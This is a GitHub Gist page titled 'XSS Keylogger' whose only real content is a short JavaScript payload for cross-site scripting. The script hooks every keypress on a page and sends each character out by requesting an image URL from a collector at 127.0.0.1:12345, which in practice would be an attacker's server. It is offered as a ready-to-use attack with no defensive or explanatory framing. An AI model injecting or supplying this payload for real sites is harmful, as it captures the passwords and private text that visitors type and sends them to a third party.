Skip to content

Instantly share code, notes, and snippets.

@ivanvza
Created June 28, 2017 11:06
Show Gist options
  • Save ivanvza/26edac2b2431af6ed14a3c98e67eea3d to your computer and use it in GitHub Desktop.
Save ivanvza/26edac2b2431af6ed14a3c98e67eea3d to your computer and use it in GitHub Desktop.
XSS Keylogger
document.onkeypress = function Logger(key) {
pressed = String.fromCharCode(key.which);
new Image().src="http://127.0.0.1:12345/?" + pressed;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment